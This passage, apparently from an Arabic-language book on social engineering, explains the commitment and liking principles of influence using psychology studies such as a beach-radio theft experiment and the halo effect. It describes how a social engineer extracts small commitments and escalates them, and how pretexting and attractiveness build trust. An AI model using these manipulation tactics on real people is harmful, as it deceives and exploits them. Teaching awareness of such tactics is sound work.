‫اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ :‬ﺗﺣدﯾد أھداﻓك ﺑوﺿوح ﯾﻣﻛن ان ﯾﺳﺎﻋدك ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ اﻟﺗزام ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬

‫ﺣﺗﻰ اﻻﻟﺗزاﻣﺎت اﻟﺗﻲ ﺗﺑدو ﺗﺎﻓﮭﺔ وﺻﻐﯾرة ﯾﻣﻛن أن ﺗؤدي إﻟﻰ اﻻﺳﺗﻐﻼل‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺧﻼل ﻣﺣﺎدﺛﺔ ھﺎﺗﻔﯾﺔ ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ﻣن ﻗﺑل‬
‫اﻟﻣﺣﺎﻣﯾن اﻟﺗﻲ ﺗذھب اﻟﻰ ﺷﻲء ﻣﺛل ھذا‪:‬‬
‫"ﻣرﺣﺑﺎ‪ ،‬ﻛﯾف ﺣﺎﻟك اﻟﯾوم؟"‬
‫أﺟﺑت‪" ،‬أﻧﺎ أﺑدو ﺟﯾدا"‪.‬‬
‫اﻵن‪ ،‬اﻻﺳﺗﻌداد ﻟﻼﺳﺗﻐﻼل‪" :‬أﻧﮫ ﻣن اﻟﺟﯾد ﺳﻣﺎﻋﻲ ھذا‪ ،‬ﻷن ﺑﻌض اﻟﻧﺎس اﻟذﯾن ﻻ ﯾﺷﻌرون ھﻛذا ﻣن اﻟﻣﻣﻛن ان ﯾﺳﺗﺧدﻣوا ﻣﺳﺎﻋدﺗﻛم"‪.‬‬
‫ﻻ ﯾﻣﻛﻧك اﻟرﺟوع ﻣرة أﺧرى ﻋﻠﻰ ﻣﺎ ﻗﻠﺗﮫ اﻵن‪ ،‬ﻷﻧك ﻻ ﺗزال ﺗﺑدو ﺟﯾدا وﻣﻠﺗزﻣﺎ ﺑﮫ‪.‬‬
‫ھذا ﻻ ﯾﻌﻧﻲ أﻧﮫ ﻋﻠﯾك أن ﺗﻛون ﻣذﻋورا ﺑﺣﯾث ﻻ ﯾﻣﻛﻧك ﺣﺗﻰ اﻹﺟﺎﺑﺔ ﻋﻠﻰ أﺳﺋﻠﺔ ﺑﺳﯾطﺔ دون اﻟﺧوف ﻣن اﻻﺳﺗﻐﻼل‪ ،‬وﻟﻛن إدراﻛك ﺑﺎﻻﻟﺗزام ﻻ‬
‫ﯾﻌﻧﻰ أﻧﮫ ﯾﺟب ﻋﻠﯾك أن ﺗﻠﺗزم ﺑﻛل ﻣﺎ ﯾﻠﻲ ﻋﻠﻰ أﻧﮫ أﻣر ﺣﯾوي‪ .‬ﻋﻣﻠت ذات ﻣرة ﻣﻊ رﺟل اﻟذي ﯾﻣﻛن أن ﯾﺣﺻل ﺣرﻓﯾﺎ ﻋﻠﻰ أي ﺷﺧص أن‬
‫ﯾﻔﻌل أﺳوأ اﻟوظﺎﺋف وﺟﻌﻠﮫ ﯾﻌﺗﻘد أﻧﮭﺎ ﻛﺎﻧت ﻓﻛرﺗﮭم‪ .‬ﺿﻣﺎن اﻟﺗزاﻣﮭم ﻛﺎن اﻷﺳﻠوب اﻟوﺣﯾد اﻟذي ﯾﺳﺗﺧدﻣﮫ‪.‬‬
‫إذا ﻛﻧت ﻣﻠﺗزﻣﺎ ﺑﻣﺳﺎر ﻣن اﻻﺗﻔﺎق ﻣﻌﮫ ﻋﻠﻰ أﺷﯾﺎء ﻣﻌﯾﻧﺔ‪ ،‬واﻟﺗﻲ ﻛﺎن ﻣن اﻟﻣﺳﺗﺣﯾل ﺗﻘرﯾﺑﺎ أن ﺗﻔﻌﻠﮭﺎ‪ ،‬ﻷﻧﮫ ﺣﺻل ﻟك أن ﺗﻘول "ﻧﻌم" ﻣﻘدﻣﺎ‪ ،‬ﺛم‬
‫ﻛﺎن ﻋﻠﯾك أن ﺗﺳﺗﻣر ﻓﻲ اﻟﻘول "ﻧﻌم"‪ .‬ﺗﻠك اﻟﻧﻌم ﺗؤدي اﻟﻰ اﻻﻧﺧﻔﺎض اﻟﻰ ﻣﺳﺎر واﺣد‪ ،‬وﻛﺎن ھذا اﻟطرﯾﻖ اﻟﺣﻖ ﺣﯾث أرادت‪ ،‬اﻟﻣواﻓﻘﺔ ﻋﻠﻰ‬
‫اﻟﻌﻣل اﻟذي ﺗﺣﺗﺎج إﻟﻰ اﻟﺣﺻول ﻋﻠﻰ اﻟﻘﯾﺎم ﺑﮫ‪.‬‬
‫أﻧك ﺗدرك أﻧﮫ ﻻ ﺑﺄس ﻣن ﻗول "ﻻ" ﺣﯾث أﻧﮫ ﯾﻣﻛن أن ﯾﻧﻘذﻛم ﻣن ارﺗﻛﺎب ﺷﻲء ﯾﻣﻛن أن ﯾﻛون ﻛﺎرﺛﯾﺎ‪ .‬ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﻧﻘﻧﻊ أﻧﻔﺳﻧﺎ ﺑﺄن ﻗول‬
‫"ﻻ" ھو ﺷﻛل ﻣن أﺷﻛﺎل اﻟﺧطﯾﺋﺔ اﻟﺗﻲ ﺗﺣﺗﺎج إﻟﻰ ﻛﺛﯾر ﻣن اﻻﺳﺗﻐﻔﺎر واﻟﺷﻌور ﺑﺎﻟذﻧب‪.‬‬
‫واﺣدة ﻣن أﻓﺿل اﻷﻣﺛﻠﺔ اﻟﺗﻲ ﻗد ﺳﻣﻌﺗﮭﺎ واﻟﺗﻲ ﺗظﮭر ﺣﻘﺎ ﻗوة اﻻﻟﺗزام ھﻲ اﻟﺗﺟرﺑﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺗﻲ ﻗﺎم ﺑﮭﺎ اﻟدﻛﺗور ﺗوﻣﺎس ﻣورﯾﺎرﺗﻲ ﻓﻲ‬
‫‪ .1972‬ﺣﯾث ﺑﻌث ﻣﺳﺎﻋده إﻟﻰ اﻟﺷﺎطﺊ ﻜ "اﻟﺿﺣﯾﺔ" ﻣﻊ ﺟﮭﺎز ﻻﺳﻠﻛﻲ‪ .‬ﺟﻠس اﻟﺿﺣﯾﺔ ﻓﻲ ﻛرﺳﯾﮫ ﯾﺳﺗﻣﻊ إﻟﻰ ﺟﮭﺎز اﻟرادﯾو اﻟﺧﺎص ﺑﮫ ﻟﻣدة‬
‫‪ 10‬دﻗﯾﻘﺔ‪ ،‬ﺛم ﻧﮭض ﻟﻠذھﺎب ﻟﺷراء اﻟﺷراب‪.‬‬
‫ﺑﯾﻧﻣﺎ ھو ذھب‪ ،‬ﻣﺳﺎﻋد آﺧر‪ ،‬ﻜ "اﻟﻣﺟرم" اﻟذي ﻻ ﯾﻌرف أﺣد أﻧﮫ ﻛﺎن ﯾﻌﻣل ﻣﻌﮫ‪ ،‬أﺗﻰ وﻗﺎم ﺒ "ﺳرﻗﺔ" اﻟرادﯾو‪ .‬ﻓﻘط ‪ 4‬ﻣن ‪ 20‬ﺷﺧﺻﺎ‪ ،‬أي‬
‫‪ %20‬ﻗﺎﻣوا ﻓﻘط ﺑﺈﯾﻘﺎف اﻟﻠص ﻣن أﺧذ اﻟرادﯾو‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪919‬‬

‫ﺛم رﻓﻊ اﻟﺑﺎﺣﺛون اﻟرھﺎن ﻓﻲ اﻟﺟوﻟﺔ اﻟﻣﻘﺑﻠﺔ‪ .‬ﻗﺑل ﺗرك "اﻟﺿﺣﯾﺔ" ﻟﺷراء اﻟﻣﺷروب اﻧﮫ طﻠب ﻣن واﺣدة ﻣن اﻟﻣﺗﺷﻣﺳون اﻟﻣﺟﺎورون ﻟﮫ ﺑﻣﺗﺎﺑﻌﺔ‬
‫ﺟﮭﺎز اﻟرادﯾو اﻟﺧﺎص ﺑﮫ ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ‪ .‬ﻣﺎذا ﺗﻌﺗﻘد ﻣن ھذا اﻟﺗﻐﯾﯾر؟‬
‫اﻵن ‪ 19‬ﻣن أﺻل ‪ 20‬ﻗﺎﻣوا ﺑﺈﯾﻘﺎف اﻟﻠص‪ ،‬وﺣﺗﻰ اﻟﺑﻌض ﻗﺎم ﺑﺎﻟﻠﺟوء إﻟﻰ اﻟﻌﻧف‪ .‬ﻟﻣﺎذا ھذا اﻟﻔرق اﻟﮭﺎﺋل؟ اﻻﻟﺗزام واﻻﺗﺳﺎق‪ .‬ﺣﺻل اﻟﺑﺎﺣث‬
‫ﻋﻠﻰ اﻟﺗزام ﻣن اﻟﻣﺗﺷﻣﺳون اﻟﻣﺟﺎورون واﻟﺗﻲ ﺗﺳﺑﺑت ﻟﮭم ﺑﺎﻟﺗﺻرف وﻓﻘﺎ ﻟﮭذا اﻻﻟﺗزام‪ .‬ﻓﻲ رأﯾﻲ‪ ،‬ھذه ھﻲ إﺣﺻﺎﺋﯾﺎت ﻣذھﻠﺔ ﺗظﮭر ﻗوة ھذه‬
‫اﻟطرﯾﻘﺔ ﻣن اﻟﺗﺄﺛﯾر‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﺳﺗﺧدام ھذه اﻟطرﯾﻘﺔ ﻣن اﻟﺗﺄﺛﯾر ﺑﺷﻛل ﻓﻌﺎل ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﮭدف ﻣﻊ اﻻﻟﺗزام ﺣﺗﻰ ﻣﻊ ﻋﻣل ﺻﻐﯾر أو ﻗول ﺻﻐﯾر‬
‫"ﻧﻌم" واﺳﺗﺧدام ھذا اﻻﻟﺗزام ﻟﺗﺻﻌﯾد ذﻟك إﻟﻰ ﻣﺟﻣوﻋﺔ أوﺳﻊ ﻣن اﻹﺟراءات‪.‬‬
‫اﻟﻤﯿﻞ‪/‬اﻻﻋﺠﺎب )‪(Liking‬‬
‫اﻟﻧﺎس ﺗﺣب اﻟﻧﺎس اﻟذﯾن ﯾﺣﺑﻧﮭم )‪ .(People like people who like them‬ﺣﯾث ﯾﺣدث اﻟﺗواء ﻟﻠﺳﺎن ﻋﻧد ﻗول اﻟﻌﺑﺎرة )‪ ،(like‬ﻓﮭو ﺑﯾﺎن‬
‫ﺻﺣﯾﺢ ﺟدا‪ .‬ﻓﮭم اﻟﻌﻣﻖ اﻟﻛﺎﻣل ﻟﮭذا اﻟﺑﯾﺎن ﯾﺟﻌﻠك أﻗرب إﻟﻰ إﺗﻘﺎن اﻹﻗﻧﺎع‪ .‬ﻋﻧدﻣﺎ أﻗول ﻓﮭم اﻟﻌﻣﻖ‪ ،‬أﻧﺎ ھﻧﺎ ﺣﻘﺎ أﻋﻧﻲ أن ھذه اﻟﺟﻣﻠﺔ ﻟدﯾﮭﺎ أﻛﺛر‬
‫ﻣن ذﻟك ﺑﻛﺛﯾر ﻣﻣﺎ ﺗراه‪/‬ﺗدرﻛﮫ اﻟﻌﯾن‪.‬‬
‫ھذا اﻟﺑﯾﺎن ﻻ ﯾﻘول إن اﻟﻧﺎس اﻟذﯾن ﯾﺣﺑوﻧك ﺳوف ﯾﺳﺗﺟﯾﺑون ﻣﻌك ﺑﺷﻛل ﺟﯾد‪ .‬وﻏﺎﻟﺑﺎ ﻣﺎ ﯾدرس ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت أن اﻟﻧﺎس ﺗﺷﺗري ﻣن اﻟﻧﺎس‬
‫اﻟذﯾن ﯾﺣﻠو‪/‬ﯾروق ﻟﮭم‪ .‬ھذا ﺻﺣﯾﺢ‪ ،‬وﻟﻛن ﻟﯾﺳت ھذه ھﻲ اﻟﻧﻘطﺔ‪ .‬ﻛﻣﺎ أﻧﮭﺎ ﻻ ﺗﻘول إن اﻟﻧﺎس ﯾﺟب أن ﺗﺣب اﻟﻧﺎس‪ ،‬وﻟﻛﻧﮭﺎ ﺗﻘول اﻧﮫ ﯾﺟب أن‬
‫ﺗﺣب اﻟﻧﺎس وﺑﻌد ذﻟك ﺳوف ﯾﺟﺑوﻧك ﻓﻲ اﻟﻣﻘﺎﺑل‪.‬‬
‫ھذه اﻟﻣﮭﻣﺔ ﻟﯾﺳت ﺳﮭﻠﺔ ﻛﻣﺎ ﺗﺑدو ﺑﺳﺑب أن اﻻﻋﺟﺎب ﺑﺷﺧص ﻻ ﯾﻣﻛن أن ﺗﻛون ﻣزورة‪ .‬ﻛﻣﺎ ﻧوﻗش ﺳﺎﺑﻘﺎ‪ ،‬ﺣﯾث أن اﻻﺑﺗﺳﺎﻣﺎت واﻟﺳﻌﺎدة‬
‫ﺻﻌﺑﺔ ﻟﻠﻐﺎﯾﺔ ف أن ﺗﻛون وھﻣﯾﺔ‪ .‬ﺣﯾث ﯾﺟب أن ﺗذھب ﻓﻲ ظرف اﻟرﻋﺎﯾﺔ واﻻھﺗﻣﺎم اﻟﺣﻘﯾﻘﻲ ﻟﻠﺷﺧص اﻟذي ﺗﺣﺎول اﻟﺗﺄﺛﯾر ﻋﻠﯾﮫ‪ .‬رﻋﺎﯾﺔ اﻟﻧﺎس‬
‫وﻣﺷﺎﻋرھم ﻟﯾﺳت ﻣﻣﺎرﺳﺔ ﻗﯾﺎﺳﯾﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾﺛﺔ‪ .‬ﻟذا‪ ،‬ﻓﺈﻧﮭﺎ ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﻌﺗﻣد ﻋﻠﻰ اﻟﺳﺣر‪ /‬اﻟ َﻣﻔَﺎﺗِن‪ .‬اﻟﺳﺣر‪ /‬اﻟ َﻣﻔَﺎﺗِن ﯾﻣﻛن أن ﺗﻌﻣل‬
‫ﻋﻠﻰ أﺳﺎس اﻟﻣدى اﻟﻘﺻﯾر‪ ،‬ﻟﻛن ﻋﻠﻰ اﻟﻣدى اﻟطوﯾل‪ ،‬إﻋﺟﺎب اﻟﻧﺎس )‪ (liking people‬ﺗﺣﺗﺎج اﻟﻰ ﻣﮭﺎرة ﺗﻣﺎرس وﺗﻌﻠم‪.‬‬
‫ﯾﺳﺗﺧدم اﻻﻋﺟﺎب )‪ (Liking‬ﻓﻲ اﻟﺗﺳوﯾﻖ ﻋﻠﻰ ﻧطﺎق واﺳﻊ‪ .‬ﻓﻲ ﻋﺎم ‪ 1990‬ﺟوﻧﺎﺛﺎن ﻓرﯾﻧزن وھﺎري دﯾﻔﯾس ﻧﺷرا دراﺳﺔ ﺑﻌﻧوان "اﻟﺳﻠوك‬
‫اﻟﺷراﺋﻲ ﻓﻲ اﻷﺳواق )‪ (Purchasing Behavior in Embedded Markets‬واﻟﺗﻲ ﯾﻣﻛن اﻻطﻼع ﻋﻠﯾﮫ ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻲ‪.‬‬
‫‪http://www.jstor.org/discover/10.2307/2626820?uid=3737928&uid=2&uid=4&sid=21104120202031‬‬
‫واﻟﺗﻲ ﻓﺣﺻت ﻟﻣﺎذا ﻛﺎﻧت ‪ Tupperware) Tupperware‬ھو اﺳم ﺧط ﻟﻠﻣﻧﺗﺟﺎت اﻟﻣﻧزﻟﯾﺔ اﻟﺗﻲ ﺗﺷﻣل ﻣﻧﺗﺟﺎت اﻹﻋداد واﻟﺗﺧزﯾن‬
‫واﻻﺣﺗواء‪ ،‬واﻟﻣﻧﺗﺟﺎت اﻟﺗﻲ ﺗﺧدم اﻟﻣطﺑﺦ واﻟﻣﻧزل( ﻧﺎﺟﺣﺔ ﺟدا‪ .‬أدى ﻛل ھذه اﻷﺑﺣﺎث اﻟﻰ ﻣﺑدأ اﻻﻋﺟﺎب )‪.(liking‬‬
‫ﻟﻘد اﺳﺗﻧﺗﺞ اﻟﺑﺎﺣﺛون أن ﻣﻌظم اﻟﻧﺎس ﺗﺷﺗرى ﻷﻧﮭم أرادوا ان ﺗﻛون اﻟﻣﺿﯾﻔﺔ ﺳﻌداء‪ ،‬ﻟﻣﺳﺎﻋدة ﺻدﯾﻖ‪ ،‬أن ﯾﻛون ﻣﺣﺑوﺑﺎ‪ .‬ﻛم ھو ﻣﺣرج ﻋﻧد‬
‫اﻟذھﺎب إﻟﻰ ﺣﻔل ﻣﺛل ھذا وﻟم ﺗﺷﺗرى أي ﺷﻲء! أن اﻟﺧوف ﻣن ﻋدم ان ﯾﻛون ﻣﺣﺑوﺑﺎ ھو ﻣﺎ ﯾدﻓﻊ ﻣﻌظم اﻟﻧﺎس ﻟﻠﺷراء ﻓﻲ ھذه اﻟﺣﺎﻟﺔ وأﻧﮫ ﻟﯾس‬
‫ﻟﮫ ﻋﻼﻗﺔ ﺗذﻛر ﻣﻊ ھذه اﻟرﻏﺑﺔ‪.‬‬
‫اﻟﻔﺣوﺻﺎت واﻟدارﺳﺎت اﻷﺧرى ﻗﺎﻣت ﺑﺎﻟﻣﻘﺎرﻧﺔ ﺑﯾن اﻟﺛﻘﺔ اﻟﺗﻲ ﻟدي اﻟﻧﺎس ﻓﻲ ﺗﻠﻘﻲ "اﻟﻧﺻﺎﺋﺢ أو اﻟﻣﺷورة" ﻣن ھؤﻻء اﻟذﯾن ﯾﻌﺗﻘد أﻧﮭم أﺻدﻗﺎء‬
‫ﻣن اﻟﺛﻘﺔ اﻟﺗﻲ ﻟدﯾﮭم ﻓﻲ ﺣﺎﻟﺔ اﻟﻐرﺑﺎء أو أﺳوأ ﻣن ذﻟك‪ ،‬اﻟﻧﺎس اﻟذﯾن ﻻ ﯾﺣﺑوﻧﮭم‪ .‬اﻟﺻدﯾﻖ ﻣن اﻟﻣﻣﻛن أن ﯾﻌطﻲ ﻧﺻﯾﺣﺔ ﺳﯾﺋﺔ ورﺑﻣﺎ ﯾﻛون‬
‫اﻟواﺣد أﻛﺛر ﻋرﺿﺔ ﻟﻣﺗﺎﺑﻌﺗﮫ ﻋن اﻟﻧﺻﯾﺣﺔ اﻟﺟﯾدة اﻟﻘﺎدﻣﺔ ﻣن ﺷﺧص ﻻ ﺗﺣﺑﮫ‪.‬‬
‫ﻣن ﻧﺎﺣﯾﺔ اﻟﮭﻧدﺳﯾﺔ اﻻﺟﺗﻣﺎﻋﻲ ﻣﻔﮭوم ﺗروق‪/‬اﻻﻋﺟﺎب ھو أداة ﻗوﯾﺔ‪ .‬ﻟﯾس ﻓﻘط ﻋﻠﯾك أن ﺗﻛون ﻣﺣﺑوﺑﺎ وذﻟك ﻟﻛﺳب ﺛﻘﺗﮭم‪ ،‬وﻟﻛن ﻋﻠﯾك أﯾﺿﺎ أن‬
‫ﺗﻛون ﻣﮭﺗﻣﺎ ﺑﺎﻟﻧﺎس ﺣﻘﺎ‪ .‬ھذا اﻟﻣﻔﮭوم ﯾﻌود اﻟﻰ اﻟﻣﻧﺎﻗﺷﺔ اﻟﺧﺎﺻﺔ ﺒ ‪ pretexting‬ﻓﻲ أﺟزاء ﺳﺎﺑﻘﮫ‪ .‬ﻋﻧد اﻟﻘﯾﺎم ﺑذرﯾﻌﺔ )‪ (pretexting‬ﻣﺎ‪،‬‬
‫ﻓﺈﻧك ﻻ ﺗﺗﺻرف ﺑداﻓﻊ ﻓﻛرك أو ﻣﻌﺗﻘداﺗك‪ ،‬ﺣﯾث ﯾﺟب أن ﺗﺻﺑﺢ ھذا اﻟﺷﺧص اﻟﺗﻲ ﺗﺳﺗﺧدﻣﮫ ﻛذرﯾﻌﺔ ﻟك‪ .‬ھذا اﻟدور ھو ﻣﺎ ﯾﻛون ﻋﻠﯾﮫ ﺣﯾﺎﺗك‪.‬‬
‫إذا ﻛﻧت ﺗﺳﺗطﯾﻊ أن ﺗﻔﻌل ذﻟك ﻓﺎن ﺧطوة ان ﺗروق ﻟﮭم )‪ (liking‬ﯾﻣﻛن أن ﺗﺻﺑﺢ أﻛﺛر ﺳﮭوﻟﺔ‪.‬‬
‫ﺟﺎﻧب أﺧر أﺧﯾر ﻓﻲ ‪ Liking‬واﻟذي ھو ﻣﮭم ﻟك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ھو اﻟﺟﺎذﺑﯾﺔ اﻟﺟﺳدﯾﺔ )‪ .(physical attractiveness‬اﻟﺑﺷر ﯾﻣﯾﻠون‬
‫ﺗﻠﻘﺎﺋﯾﺎ إﻟﻰ "ﻣﺛل" أوﻟﺋك اﻟذي ﻧﺟده ﺟذاﺑﺎ‪ .‬ﻛﺎﻷﻧوق وﺟذاﺑﺎ ﻓﻲ ﺻوﺗﮫ‪ ،‬ھذه ھﻲ اﻟﺣﻘﯾﻘﺔ‪ .‬ﺑﻌض اﻟﻣﺑﺎدئ اﻟﻧﻔﺳﯾﺔ اﻟﺧطﯾرة ھﻲ اﻟرﺟوع اﻟﻰ ھذه‬
‫اﻟﻔﻛرة‪.‬‬
‫ﻣﺎ ھو ﺟﻣﯾل ﻓﮭو ﺟﯾد‪ .‬ﻓﻲ ﻋﺎم ‪ 1972‬أﺟرى ﻛل ﻣن ﺑرﺷﯾد‪ ،‬واﻟﺳﺗﯾر‪ ،‬ودﯾون دراﺳﺔ ﺑﻌﻧوان‪ ،"What Is Beautiful Is Good" ،‬واﻟﺗﻲ‬
‫أطﻠﻘت اﻟﻌﻧﺎن ﻟﺑﻌض اﻟﻧﺗﺎﺋﺞ اﻟﻌﻣﯾﻘﺔ ﺟدا‪ .‬ﺣﯾث طﻠب ﻣن اﻟﻣﺷﺎرﻛﯾن ﺗﻘﯾﯾم اﻟﺻور ﻟﺛﻼﺛﺔ أﻓراد ﯾﺗراوح اﻟﺗﻘﯾﯾم ﺑﯾن ذات ﺟﺎذﺑﯾﮫ ﻣﻧﺧﻔﺿﺔ‪،‬‬
‫ﻣﺗوﺳطﺔ‪ ،‬ﻋﺎﻟﯾﺔ‪ .‬ﺑﻧﺎء ﻋﻠﻰ اﻟﺻور وﺣدھﺎ ﻓﮭﻲ ﻛﺎﻧت ﻟﺗﻘﯾم اﻟﻧﺎس ﻣن اﺟل اﻟﺳﻣﺎت اﻟﺷﺧﺻﯾﺔ‪ ،‬اﻟﺳﻌﺎدة اﻟﺷﺎﻣﻠﺔ‪ ،‬واﻟﻧﺟﺎح اﻟوظﯾﻔﻲ‪.‬‬
‫ﺛم ﻗﺎﻣوا ﺑﺗﺟﻣﯾﻊ اﻟﺗﻘﯾﯾﻣﺎت وﺣﺳﺎب اﻟﻣﺗوﺳط‪ ،‬ﻓوﺟدوا أن اﻟﻧﺎس اﻋﺗﺑرت أﻧﮫ ﻣن ﻛﺎن ذات اﻟﺟﺎذﺑﯾﺔ اﻷﻋﻠﻰ ﻓﮭو أﻛﺛر ﻣن ﻛﺎن ﻣرﻏوب ﻓﯾﮫ‬
‫اﺟﺗﻣﺎﻋﯾﺎ‪ ،‬ﯾﻣﻠك أﻓﺿل اﻟﻣﮭن‪ ،‬أﻛﺛر ﺳﻌﺎدة‪ ،‬وأﻛﺛر ﻧﺟﺎﺣﺎ‪ .‬أﺛﺑﺗت اﻟدراﺳﺔ أن اﻟﻧﺎس ﯾﻣﯾﻠون إﻟﻰ رﺑط اﻟﺟﻣﺎل ﻣﻊ ﺻﻔﺎت أﺧرى ﻧﺎﺟﺣﺔ وأﻧﮫ ﯾﻐﯾر‬
‫آراﺋﮭم واﻟﻘدرة ﻋﻠﻰ اﻟﺛﻘﺔ ﻓﻲ ﺷﺧص ﻣﺎ‪ .‬ھذه اﻟدراﺳﺔ ھﻲ ﻣﺛﺎل ﻋﻠﻰ ظﺎھرة ﺗﺳﻣﻰ ﺗﺄﺛﯾر اﻟﮭﺎﻟﺔ )‪ ،(halo effect‬ﺣﯾث أن ﺳﻣﺔ واﺣده ﻣﻌﯾﻧﮫ‬
‫ﯾﻣﻛﻧﮭﺎ اﻟﺗﺄﺛﯾر أو ﺗﻣﺗد إﻟﻰ ﻏﯾرھﺎ ﻣن ﺻﻔﺎت اﻟﺷﺧص‪ .‬ﺣﯾث ﺛﺑت اﻻﻧﺣﯾﺎز اﻟﻘرارات اﻟﺷﺧص ﻣﻊ اﻟﻣﯾل ﻟﻠﺗرﻛﯾز ﻋﻠﻰ اﻟﺻﻔﺎت اﻟﺟﯾدة ﻣن‬
‫اﻟﺷﺧص اﻵﺧر‪ .‬ﻟﻘد وﺿﻌت ﻧﺳﺧﺔ ﻣن ھذه اﻟدراﺳﺔ اﻟﻣذھﻠﺔ ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻰ‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪920‬‬

‫‪http://www.social-engineer.org/wiki/archives/BlogPosts/BeautifulGood.pdf‬‬
‫ﺑﻌﺑﺎرة أﺧرى‪ ،‬إذا ﻧظر اﻟﯾك ﺷﺧص ﻣﺎ ﻋﻠﻰ إﻧك ﺟﻣﯾل‪ ،‬ﻓﺎن ھذه اﻟﺻﻔﺔ اﻟﺟﯾدة ﺗﻣﺗد إﻟﻰ اﻷﺣﻛﺎم اﻷﺧرى اﻟﺗﻲ ﯾﺟﻌﻠﮭﺎ اﻟﺷﺧص ﻋﻧك‪ .‬وﻛﺛﯾرا‬
‫ﻣﺎ ﯾﺳﺗﺧدم ھذا " ﺗﺄﺛﯾر اﻟﮭﺎﻟﺔ )‪ "(halo effect‬ﻓﻲ ﻣﺟﺎل اﻟﺗﺳوﯾﻖ‪ .‬ﺣﯾث أﻧﮭم ﯾﺳﺗﺧدﻣون أﺷﺧﺎص ﯾﺗﻣﺗﻌوا ﺑﺎﻟﺟﻣﺎل ﻓﻲ ﺗﻘدﯾم ﻣﻧﺗﺟﺎت ﻟﻠﺷرب‪،‬‬
‫ﻟﻸﻛل‪ ،‬ﻟﻼرﺗداء‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﻓﺎن اﻵﺧرﯾن ﺳوف ﯾﻔﺗرﺿون ﺗﻠﻘﺎﺋﯾﺎ أن ھذه اﻷﺷﯾﺎء ﺟﯾدة‪ ،‬ورﺑﻣﺎ اﻟﺗﻔﻛﯾر‪" ،‬ﺣﺳﻧﺎ ﯾﺟب أن ﺗﻛون ﺟﯾدة إذا ﻛﺎن ھذا‬
‫اﻟﺷﺧص اﻟﺟﻣﯾل ھو ﻣن ﯾﺳﺗﺧدﻣﮫ"‪.‬‬
‫ﺷﺎھدت ﻣؤﺧرا إﻋﻼﻧﺎ ﻋﻠﻰ اﻟﺗﻠﻔﺎز‪ ،‬إﻧﮭﺎ ﺣﻘﺎ ﺗﻌﺑر ﻋن ھذه اﻟﻧﻘطﺔ‪ ،‬ھذا اﻹﻋﻼن ﯾﺟﻌل ﻣن ﺟﮭود اﻟﺗﺳوﯾﻖ ﻣﺳﻠﯾﺎ وﻟﻛﻧﮫ ﯾﻔﻌل ذﻟك ﺑذﻛﺎء ﺟدا‪.‬‬
‫ﺣﯾث ﺗﺄﺗﻲ ﺷﺎﺑﺎت ﺗﺗﻣﺗﻊ ﺑﺎﻟﺟذاﺑﺔ ﻋﻠﻰ اﻟﺷﺎﺷﺔ وﺗرﺗدى ﻣﻼﺑس ﺟﻣﯾﻠﺔ وﺗﻘول‪" :‬ﻣرﺣﺑﺎ‪ ،‬أﻧﺎ ﻓﺗﺎه ذات ﺟﺎذﺑﯾﮫ ﺣﻘﯾﻘﯾﮫ وﻋﻣري ﻣن ‪ 24-18‬ﺳﻧﺔ"‪.‬‬
‫اﺳﺗﺧدام أﻧﺛﻰ ﺟذاﺑﺔ اﻟﺗﻲ ﻟﯾﺳت ﺟذاﺑﺔ ﺑﺷﻛل ﻣﻔرط‪ ،‬وﻟﻛﻧﮭﺎ ﺣﻘﯾﻘﯾﺔ ﺗﺻدق‪ ،‬ﻧﺣن اﻟﻧﺎس اﻟﻌﺎدﯾﯾن ﯾﻣﻛﻧﻧﺎ أن ﻧﻧظر اﻟﻰ ﻋﺑﻘرﯾﺔ ھذا اﻟﺗﺳوﯾﻖ‪ .‬ﻻ‬
‫ﯾﻣﻛﻧﻧﺎ أن ﻧﻘول ﺣﻘﺎ ﺳﻧﮭﺎ ﻟﻛن ﺟﻣﺎﻟﮭﺎ ﯾﻣﻛن أن ﯾﺿﻊ ﻟﮭﺎ ﻣﻛﺎن ﻣﺎ ﺑﯾن ﺳن ‪.24-18‬‬
‫"ﯾﻣﻛﻧك أن ﺗﺗﺻل ﻟﻲ ﻷﻧﻧﻲ ﻏﺎﻣﺿﺔ اﻟﻌﻧﺻرﯾﺔ )‪."(Racially ambiguous‬‬
‫ﻣﻠﺣوظﮫ‪ :‬ﻏﺎﻣﺿﺔ اﻟﻌﻧﺻرﯾﺔ )‪ (Racially ambiguous‬ﺗﻌﻧﻰ اﻧﮫ ﯾﺻﻌب ﺗﺣدﯾد ﻋرﻗﮭﺎ ﺳواء ھﻲ ﺑﯾﺿﺎء ام ﺳوداء ﻣﺛﻼ ﻋﻧدﻣﺎ ﺗوﻟد ﻣن‬
‫اب اﺳو وام ﺑﯾﺿﺎء(‬
‫ﻣرة أﺧرى‪ ،‬ھذا ھو ﻏﯾض ﻋﺑﻘرﯾﺔ اﻟﺗﺳوﯾﻖ اﻷﺧرى‪ .‬اﻧﮭﺎ ﻟﯾﺳت ﺳوداء‪ ،‬ﺑﯾﺿﺎء‪ ،‬أو ﻣن اﻟﺳﻛﺎن اﻷﻣرﯾﻛﯾﯾن اﻻﺻﻠﯾﯾن ﻧﺣن ﻻ ﯾﻣﻛن أن ﻧﻘول‪،‬‬
